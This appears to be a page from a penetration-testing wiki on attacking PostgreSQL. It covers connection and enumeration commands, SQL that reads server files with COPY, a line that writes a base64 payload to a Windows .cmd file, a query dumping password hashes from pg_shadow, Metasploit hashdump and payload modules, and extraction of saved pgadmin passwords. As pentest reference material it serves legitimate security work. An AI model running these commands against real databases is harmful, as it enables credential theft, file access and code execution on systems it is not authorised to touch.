# 5432,5433 - Pentesting Postgresql

## **Basic Information**

**PostgreSQL** is an _\*\*_open source object-relational database system that uses and extends the SQL language.

**Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port \(5433 probably\) which is not in use.

```text
PORT     STATE SERVICE
5432/tcp open  pgsql
```

## Connect

```bash
psql -U <myuser> # Open psql console with user
psql -h <host< -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```

```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;

#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('<B64 payload>','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd'; 

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false

#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type 
FROM information_schema.role_table_grants 
WHERE table_name='pg_shadow'

#Get users roles
SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolconnlimit, r.rolvaliduntil,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
```

## Enumeration

```text
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```

### \*\*\*\*[**Brute force**](../brute-force.md#postgresql)

Client authentication is controlled by a config file frequently named _**pg\_hba.conf**_. This file has a set of records. A record may have one of the following seven formats:

![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu_N1ztXJg)

**Each** record **specifies** a **connection type**, a **client IP address range** \(if relevant for the connection type\), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.  
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.

## **POST**

```text
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```

### logging

Inside the _**postgresql.conf**_ file you can enable postgresql logs changing:

```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```

Then, **restart the service**.

### pgadmin

[pgadmin](https://www.pgadmin.org/) is an administration and development platform for PostgreSQL.  
You can find **passwords** inside the _**pgadmin4.db**_ file  
You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)

```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```

